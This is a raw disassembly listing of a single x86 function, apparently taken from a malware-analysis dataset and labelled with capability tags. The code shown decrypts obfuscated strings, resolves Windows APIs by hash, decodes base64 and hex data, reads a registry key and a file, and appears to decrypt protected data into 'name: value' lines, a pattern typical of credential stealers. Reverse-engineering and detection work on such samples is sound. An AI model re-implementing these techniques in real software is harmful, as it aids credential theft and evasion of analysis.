Function at 0x42c562
Capabilities:
Copy file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x78
mov esi, esp
push eax
sub esp, 0x2c
mov edi, esp
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x4c], eax
mov dword [esi + 0xc], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x2c], eax
mov esp, eax
push eax
push eax
mov eax, esp
mov dword [esi + 0x50], eax
mov dword [esi + 0x24], eax
sub esp, 0x24
mov dword [esi + 0x68], esp
mov dword [esi + 0x60], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
mov dword [esi + 0x30], 0x77ea0997
mov dword [esi + 0x34], 0x73d375d9
mov dword [esi + 0x38], 0x7f2c71e5
mov dword [esi + 0x3c], 0x7be27dd1
mov dword [esi + 0x40], 0x676679d5
mov dword [esi + 0x44], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x17
ja 0x42bf41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
movzx eax, byte [esi + eax + 0x30]
push dword [esi]
push eax
call fcn.0042f640
add esp, 8
mov ecx, dword [esi]
mov byte [esi + ecx + 0x30], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x18
jb 0x42bf20
lea eax, [esi + 0x30]
lea ecx, [esi + 0x54]
push eax
call fcn.00443330
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452798]
lea ecx, [esi + 0x54]
push 0x410
call fcn.00443530
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x4527a0]
mov dword [edi], 0xfaa5ecfb
mov dword [edi + 4], 0xd4f6dbfc
mov dword [edi + 8], 0xc0cfc5e7
mov dword [edi + 0xc], 0xfdcacee3
mov dword [edi + 0x10], 0xdcedeafa
mov dword [edi + 0x14], 0xd5e8eeeb
mov dword [edi + 0x18], 0xd2d3f6ee
mov dword [edi + 0x1c], 0xde89d0f9
mov dword [edi + 0x20], 0xfef4eef6
mov dword [edi + 0x24], 0xa6fd93ef
mov dword [edi + 0x28], 0x39ee8787
mov byte [edi + 0x2c], 0
mov dword [esi + 0x30], 0
mov eax, dword [esi + 0x30]
cmp eax, 0x2c
ja 0x42c004
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x30]
movzx eax, byte [edi + eax]
push dword [esi + 0x30]
push eax
call fcn.0042f6a0
add esp, 8
mov ecx, dword [esi + 0x30]
mov byte [edi + ecx], al
inc dword [esi + 0x30]
mov eax, dword [esi + 0x30]
cmp eax, 0x2d
jb 0x42bfe0
lea ecx, [esi + 0x54]
push 0
push 0x2b
push edi
lea eax, [esi + 0x30]
push eax
call fcn.00444070
mov edi, dword [esi + 0x30]
mov edx, dword [esi + 0x34]
xor eax, eax
cmp edi, edx
sete al
xor ebx, ebx
jmp dword [eax*4 + 0x4527a8]
mov eax, edx
sub eax, edi
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov ebx, edx
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.0040cb60
mov edx, edi
add esp, 4
add dword [esi + 0x50], 4
inc dword [esi + 0x4c]
mov dword [esi + 0x48], 0
xor ecx, ecx
mov dword [esi + 0x6c], ebx
cmp edi, ebx
setne cl
mov dword [esi + 0x20], eax
mov dword [esi + 0x14], eax
jmp dword [ecx*4 + 0x4527b0]
mov edx, edi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [edi - 1]
cmp eax, 0x3d
je 0x42c09f
cmp eax, 0x2e
jne 0x42c0a0
dec ecx
mov eax, dword [esi + 8]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esi + 0x1c], edx
je 0x42c0b5
cmp eax, 0x2e
jne 0x42c0b6
dec ecx
mov dword [esi + 0x64], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cb60
add esp, 4
mov dword [esi + 0x18], eax
cmp edi, dword [esi + 8]
je 0x42c1be
xor ecx, ecx
mov edi, 2
jmp 0x42c0f3
lea eax, [edi + 4]
add edi, 2
mov ecx, dword [esi + 0x10]
cmp edi, edx
mov edi, eax
jae 0x42c1be
mov dword [esi + 4], ecx
mov ebx, dword [esi + 8]
movzx eax, byte [ebx + edi - 2]
push eax
call fcn.00421cc0
add esp, 4
mov byte [esi + 0x10], al
movzx eax, byte [ebx + edi - 1]
push eax
call fcn.00421cc0
add esp, 4
mov ebx, eax
movzx ecx, byte [esi + 0x10]
shl cl, 2
shr al, 4
and al, 3
or al, cl
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 4]
mov byte [ecx + edx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 0x10], eax
mov edx, dword [esi + 0x1c]
cmp edi, edx
jae 0x42c0e0
mov eax, dword [esi + 8]
movzx eax, byte [eax + edi]
push eax
call fcn.00421cc0
mov edx, dword [esi + 0x1c]
add esp, 4
cmp al, 0x40
je 0x42c0e0
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov edx, dword [esi + 4]
lea ebx, [edx + 2]
mov dword [esi + 0x10], ebx
mov ebx, dword [esi + 0x18]
mov edx, dword [esi + 4]
mov byte [ebx + edx + 1], cl
mov edx, dword [esi + 0x1c]
lea ecx, [edi + 1]
cmp ecx, edx
jae 0x42c0e0
mov ecx, dword [esi + 8]
movzx ecx, byte [ecx + edi + 1]
push ecx
mov ebx, eax
call fcn.00421cc0
mov edx, dword [esi + 0x1c]
add esp, 4
cmp al, 0x40
je 0x42c0e0
mov ecx, ebx
shl cl, 6
add al, cl
mov ecx, dword [esi + 0x18]
mov ebx, dword [esi + 4]
mov byte [ecx + ebx + 2], al
add ebx, 3
mov dword [esi + 0x10], ebx
jmp 0x42c0e0
mov eax, dword [esi + 0x64]
mov edi, dword [esi + 0x18]
mov byte [edi + eax], 0
push edi
call fcn.00403c90
add esp, 4
mov ebx, eax
jmp dword [0x452810]
push edi
call fcn.0040cb70
add esp, 4
push ebx
call fcn.00404750
add esp, 4
mov edi, eax
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452818]
jmp 0x42c2d7
mov ecx, dword [esi + 0x24]
mov dword [ecx], 0x23c0b4b3
mov eax, dword [esi + 0x50]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 6
ja 0x42c255
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
movzx eax, byte [ecx + eax]
push dword [esi]
push eax
call fcn.0042f720
add esp, 8
mov ecx, dword [esi]
mov edx, dword [esi + 0x24]
mov byte [edx + ecx], al
mov ecx, dword [esi + 0x24]
inc dword [esi]
mov eax, dword [esi]
cmp eax, 7
jb 0x42c230
push ecx
push edi
call fcn.00404510
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x452820]
mov edx, dword [esi + 0xc]
mov edi, dword [esi + 0x14]
jmp 0x42c2a8
movzx ecx, byte [eax]
test cl, cl
mov edi, dword [esi + 0x14]
je 0x42c29d
inc eax
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42c290
jmp 0x42c2a0
mov edx, dword [esi + 0xc]
mov word [edi], 0x203a
add edi, 2
movzx eax, byte [edx]
test al, al
je 0x42c2cb
mov ecx, dword [esi + 0x4c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42c2c0
mov byte [edi], 0xa
inc edi
mov dword [esi + 0x14], edi
mov al, 1
mov dword [esi + 0x48], eax
push ebx
call fcn.00404d00
add esp, 4
mov edx, dword [esi + 0x28]
jmp case.0x42c024.20
jmp dword [eax*4 + 0x4527f8]
mov ecx, dword [esi + 0xc]
mov byte [ecx + 0x3ff], 0
movzx eax, byte [ecx]
xor edi, edi
test al, al
je 0x42c321
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42c31f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42c310
jmp 0x42c321
mov edi, ecx
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452800]
mov ecx, edi
movzx eax, byte [edi + 1]
inc ecx
xor edi, edi
test al, al
mov dword [esi + 8], ecx
je 0x42c351
nop
cmp al, 0x2e
je 0x42c34f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42c340
jmp 0x42c351
mov edi, ecx
xor eax, eax
test edi, edi
setne al
mov ecx, dword [esi + 8]
jmp dword [eax*4 + 0x452808]
xor eax, eax
jmp dword [0x4527f4]
mov eax, dword [edx]
mov dword [esi + 4], eax
mov ebx, dword [edx + 4]
push 0x400
push 0
push edi
call fcn.0040ccf0
add esp, 0xc
lea ecx, [esi + 0x54]
push dword [esi + 0x2c]
push 0
push 0x400
push edi
push ebx
push dword [esi + 4]
call fcn.00443e40
mov edx, dword [esi + 0x28]
mov eax, dword [edx]
mov dword [esi + 4], eax
mov ebx, dword [edx + 4]
push 0x400
push 0
push edi
call fcn.0040ccf0
add esp, 0xc
lea ecx, [esi + 0x54]
push dword [esi + 0x2c]
push 0
push 0x400
push edi
push ebx
push dword [esi + 4]
call fcn.00443e40
mov edx, dword [esi + 0x28]
jmp dword [0x4527d8]
cmp eax, 0xc0000000
setae al
mov edi, dword [esi + 0x2c]
mov ecx, dword [edi]
or ecx, dword [edi + 4]
sete cl
or cl, al
movzx ecx, cl
mov eax, 1
jmp dword [ecx*4 + 0x4527e0]
mov edi, dword [esi + 0xc]
mov dword [esi + 0x28], edx
jmp dword [0x4527d4]
add edx, 8
xor eax, eax
cmp edx, dword [esi + 0x6c]
setne al
jmp dword [eax*4 + 0x4527b0]
mov eax, dword [esi + 0x48]
mov ecx, eax
and cl, 1
movzx ecx, cl
mov edi, dword [esi + 0x68]
jmp dword [ecx*4 + 0x4527c8]
jmp dword [0x452828]
mov ebx, dword [esi + 0x14]
mov byte [ebx], 0
mov dword [edi], 0xe3e69949
mov dword [edi + 4], 0xefd3dadd
mov dword [edi + 8], 0xe0ece2d9
mov dword [edi + 0xc], 0xd6e6c22f
mov dword [edi + 0x10], 0xdb35ecd9
mov dword [edi + 0x14], 0xf1cff2f7
mov dword [edi + 0x18], 0xf7f233ff
mov word [edi + 0x1c], 0x6df0
mov dword [edi + 0x1e], 0
sub ebx, dword [esi + 0x20]
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x21
ja 0x42c4bf
mov eax, dword [esi]
movzx eax, byte [edi + eax]
push dword [esi]
push eax
call fcn.0042f770
add esp, 8
mov ecx, dword [esi]
mov byte [edi + ecx], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x22
jb 0x42c4a0
mov ecx, dword [ebp + 8]
push ebx
push dword [esi + 0x20]
push edi
call fcn.0040da30
jmp dword [0x452828]
push dword [esi + 0x20]
mov edi, eax
call fcn.0040cb70
mov eax, edi
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
and bl, 1
jmp dword [0x452838]
mov eax, dword [esi + 0x30]
test eax, eax
je case.0x42bf52.1
cmp eax, dword [esi + 0x34]
je case.0x42bf52.1
push eax
call fcn.0040cb70
add esp, 4
lea ecx, [esi + 0x54]
call fcn.00443690
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [case.0x42c8dd.6]
nop
nop
nop
nop
jmp eax
xor eax, eax
mov ebx, dword [esp + 0xc]
test ebx, ebx
sete al
jmp dword [eax*4 + 0x4528a8]
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x42c580
sub eax, ebx
cmp eax, 0xffffffd9
jge 0x42c912
mov eax, 0xffffffff
jmp 0x42c915
xor edx, edx
test eax, eax
sete dl
xor ecx, ecx
jmp dword [edx*4 + 0x4528a0]
jmp dword [ecx*4 + 0x452840]
mov dword [esp + 0x18], 0xb7c889ec
mov dword [esp + 0x1c], 0xb3f9b5f9
mov dword [esp + 0x20], 0xbfc1b1f9
mov dword [esp + 0x24], 0xbbc4bdc0
mov dword [esp + 0x28], 0xa7c2b9c1
mov dword [esp + 0x2c], 0xa3e3a5d1
mov dword [esp + 0x30], 0xafe6a1ef
mov dword [esp + 0x34], 0xabd8ade5
mov dword [esp + 0x38], 0xd7b2a9e5
mov dword [esp + 0x3c], 0xd3a1d5ab
mov dword [esp + 0x40], 0xdfa2d19a
mov dword [esp + 0x44], 0xdb9bdda7
mov dword [esp + 0x48], 0xc78bd9a6
mov dword [esp + 0x4c], 0xc3b8c5a0
mov dword [esp + 0x50], 0xcf5ac1a1
mov dword [esp + 0x54], 0xcba7cd56
mov dword [esp + 0x58], 0xf789c9ac
mov dword [esp + 0x5c], 0xf39ff568
mov dword [esp + 0x60], 0xff6bf191
mov word [esp + 0x64], 0xfdfc
mov byte [ebx + 4], 0
mov dword [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x52
ja 0x42c696
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.0042fe00
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x53
jb 0x42c670
lea eax, [esp + 0x7c]
lea ebp, [esp + 0x18]
push 0
push 0
push esi
push eax
push ebp
call fcn.00449db0
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x452858]
lea edi, [esp + 0x84]
lea eax, [esp + 0x78]
push edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x9c]
call fcn.0044a1d0
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452860]
jmp dword [0x452874]
mov ecx, dword [esp + 0x84]
lea eax, [ecx*2 + 2]
inc ecx
jns 0x42c70c
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov esi, eax
mov dword [esp + 0x18], 0x36c0149
mov dword [esp + 0x1c], 0x7720577
mov dword [esp + 0x20], 0xb660969
mov dword [esp + 0x24], 0xf5e0d60
mov dword [esp + 0x28], 0x13661171
mov dword [esp + 0x2c], 0x1716157c
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x17
ja 0x42c786
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.0042fe50
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x18
jb 0x42c760
push edi
push esi
push 0
push ebp
push dword [esp + 0x8c]
call fcn.0044a7a0
add esp, 0x14
shr eax, 0x1f
mov dword [esp + 0xc], esi
jmp dword [eax*4 + 0x452878]
mov dword [esp + 0xc], 0
jmp dword [0x452880]
push esi
call fcn.0040cb70
add esp, 4
nop
mov esi, dword [esp + 0x7c]
mov dword [esp], 0xfcfdfeff
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 3
ja 0x42c809
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
movzx eax, byte [esp + eax]
push dword [esp + 0x18]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 4
jb 0x42c7e0
mov eax, dword [0x456b34]
test eax, eax
je 0x42c860
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x42c84b
inc edx
cmp eax, edx
jne 0x42c820
jmp 0x42c860
mov eax, 4
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x452898]
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne case.default.0x42c86a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
jmp dword [eax*4 + 0x452888]
push ebp
call fcn.00449440
add esp, 4
cmp dword [esp + 0x18], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x452890]
xor eax, eax
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x452898]
mov eax, 2
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x452898]
push esi
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
jmp dword [eax*4 + 0x452888]
mov eax, 2
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x452898]
xor ebx, ebx
jmp 0x42cf55
add eax, 0x26
push eax
call fcn.0040cb60
add esp, 4
mov edi, eax
mov dword [esp + 0x18], 0xb16b8f70
mov dword [esp + 0x1c], 0xb55cb321
mov dword [esp + 0x20], 0xb95db752
mov dword [esp + 0x24], 0xbd46bb51
mov dword [esp + 0x28], 0xa12fbf59
mov dword [esp + 0x2c], 0xa544a34e
mov dword [esp + 0x30], 0xa94fa74f
mov dword [esp + 0x34], 0xad3cab86
mov dword [esp + 0x38], 0x5148af48
mov dword [esp + 0x3c], 0x5350
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x27
ja 0x42c9a6
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.0042fe90
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x28
jb 0x42c980
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x42c9d1
lea edx, [ebx + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c9c0
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x42ca01
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c9f0
mov word [eax], 0
jmp dword [0x4528b0]
push ebx
call fcn.0040cb70
add esp, 4
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x4528b8]
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x4528b8]
jmp dword [0x4528c4]
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x94]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040cb60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x90], eax
mov ecx, eax
push esi
push ebx
mov ebx, dword [esp + 0x18]
call fcn.0042f7c0
movzx eax, al
mov dword [esp + 8], 0
mov esi, ebx
jmp dword [eax*4 + 0x452978]
mov dword [esp + 0x18], 0xf7c4fed3
mov dword [esp + 0x1c], 0xc2f4c4f3
mov dword [esp + 0x20], 0xc7fbef87
mov dword [esp + 0x24], 0xec81f8ca
mov dword [esp + 0x28], 0xcef3f4c4
mov dword [esp + 0x2c], 0xc9c9968b
mov dword [esp + 0x30], 0xdfe9ecd6
mov dword [esp + 0x34], 0xd7edec8f
mov word [esp + 0x38], 0x41e5
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x27
ja 0x42cb36
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430af0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x28
jb 0x42cb10
mov ecx, dword [esp + 0x90]
push edi
call fcn.0042f9b0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov esi, ebx
jmp dword [ecx*4 + 0x452980]
add eax, 8
mov dword [esp + 8], 0
mov edi, dword [eax]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452988]
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452988]
mov edx, dword [edi]
cmp dword [edi + 0x18], 3
mov esi, 0
jne case.default.0x42cba8
mov esi, dword [edi + 0x10]
test edx, edx
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4529a0]
mov dword [esp + 0x8c], edx
mov dword [esp + 0x6c], ebx
mov eax, esi
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42cbf5
mov dword [esp + 0x70], edi
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [esp + 0x9c], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cb60
add esp, 4
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x88], eax
jmp dword [edx*4 + 0x4529b8]
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x4529b8]
mov edi, ebp
mov dword [esp + 0x14], esi
inc esi
mov edx, ecx
or edx, 0x20
lea ebp, [edx - 0x61]
cmp ebp, 5
ja case.default.0x42cc37
add edx, 0xffffffa9
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
mov ebp, edi
jmp dword [ebx*4 + 0x4529c0]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x42cc50
mov edx, 0xffffffff
jmp 0x42cc5c
mov edx, ecx
and edx, 0xffffffcf
add edx, edx
xor ecx, 0x30
sub edx, ecx
mov ebp, edi
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x4529c0]
shl edx, 4
mov edi, dword [esp + 0x14]
add edi, 2
mov ebx, ecx
or ebx, 0x20
lea esi, [ebx - 0x61]
cmp esi, 5
ja case.default.0x42cc9a
add ebx, 0xffffffa9
or ebx, edx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov esi, edi
jmp dword [edx*4 + 0x4529b8]
lea esi, [ecx - 0x30]
cmp esi, 0xa
jb 0x42ccbf
mov ebx, 0xffffffff
jmp 0x42cccb
mov ebx, ecx
and ebx, 0xffffffcf
add ebx, ebx
xor ecx, 0x30
sub ebx, ecx
mov esi, edi
or ebx, edx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x4529b8]
mov byte [eax], 0
mov dword [esp + 0x14], 0
push 0
push 0x10
push 0
push dword [esp + 0x98]
call fcn.0042fbc0
add esp, 0x10
xor ecx, ecx
mov esi, dword [esp + 0x74]
cmp esi, ebp
setne cl
jmp dword [ecx*4 + 0x4529c8]
mov ecx, dword [esi]
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov ebp, edi
jmp dword [ecx*4 + 0x4529d8]
add esi, 8
xor ebx, ebx
cmp esi, ebp
setne bl
jmp dword [ebx*4 + 0x4529c8]
mov edi, ebp
mov ebx, dword [esi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, edx
xor ebx, eax
xor ecx, ecx
or ebx, ebp
sete cl
jmp dword [ecx*4 + 0x4529d0]
mov ecx, 1
mov ebp, edi
jmp dword [ecx*4 + 0x4529d8]
xor eax, eax
mov esi, dword [esp + 0x14]
test esi, esi
setne al
jmp dword [eax*4 + 0x4529e0]
mov ebx, dword [esp + 0x6c]
mov edi, dword [esp + 0x70]
jmp dword [0x4529f0]
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
mov edi, dword [esp + 0x70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42ce15
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x31f26afb
push dword [0x456b40]
call fcn.00448c90
add esp, 8
mov ecx, esp
lea edx, [esp + 0x7c]
push edx
push 1
push 0
push 0
push ecx
push 0
lea ecx, [esp + 0x30]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4529e8]
mov ebx, dword [esp + 0x6c]
jmp dword [0x4529f0]
movzx eax, byte [esi]
test al, al
mov ecx, dword [esp + 0x6c]
je 0x42ce4b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x42ce40
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x7c]
test esi, esi
je 0x42ce8b
mov ecx, dword [esp + 0x80]
mov edx, esi
and edx, 3
je 0x42ce8f
xor edi, edi
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42ce70
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x42ce91
mov esi, eax
jmp 0x42ced9
mov edx, esi
cmp esi, 4
mov esi, edi
mov edi, dword [esp + 0x70]
jb 0x42ced9
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x42cea0
mov byte [esi], 0xa
inc esi
mov ebx, esi
push 0xd80d2c4a
push dword [0x456b28]
call fcn.00448c90
add esp, 8
push dword [esp + 0x80]
call eax
mov al, 1
mov dword [esp + 8], eax
jmp dword [0x4529f0]
push dword [esp + 0x88]
call fcn.0040cb70
add esp, 4
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452988]
mov eax, dword [case.0x42c8dd.60]
mov esi, ebx
jmp eax
jmp dword [0x4529f8]
mov edi, dword [esp + 0x90]
mov ecx, edi
call fcn.0042fb20
push edi
call fcn.0040cb70
add esp, 4
jmp dword [0x452a10]
mov eax, ebx
add esp, 0xa0
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00449640
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4528d0]
xor esi, esi
xor ebp, ebp
jmp dword [0x452930]
push edi
call fcn.0040cb70
add esp, 4
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x452938]
lea eax, [esp + 0x78]
push 0
push eax
push dword [esp + 0x84]
call fcn.004499a0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x4528d8]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x88]
call fcn.00449a80
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x4528e0]
mov esi, dword [esp + 0x78]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040cb60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push ebx
call fcn.0042f7c0
movzx eax, al
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x4528e8]
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x88], edi
mov dword [esp + 0x18], 0x85f0fae1
mov dword [esp + 0x1c], 0xfe88f881
mov dword [esp + 0x20], 0xf5fde935
mov dword [esp + 0x24], 0xf02fe48a
mov dword [esp + 0x28], 0xeae5e090
mov dword [esp + 0x2c], 0xe8ebc829
mov dword [esp + 0x30], 0x9de098e5
mov dword [esp + 0x34], 0x2f9d
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1f
ja 0x42d0e6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.004309e0
add esp, 8
mov ecx, dword [esp]
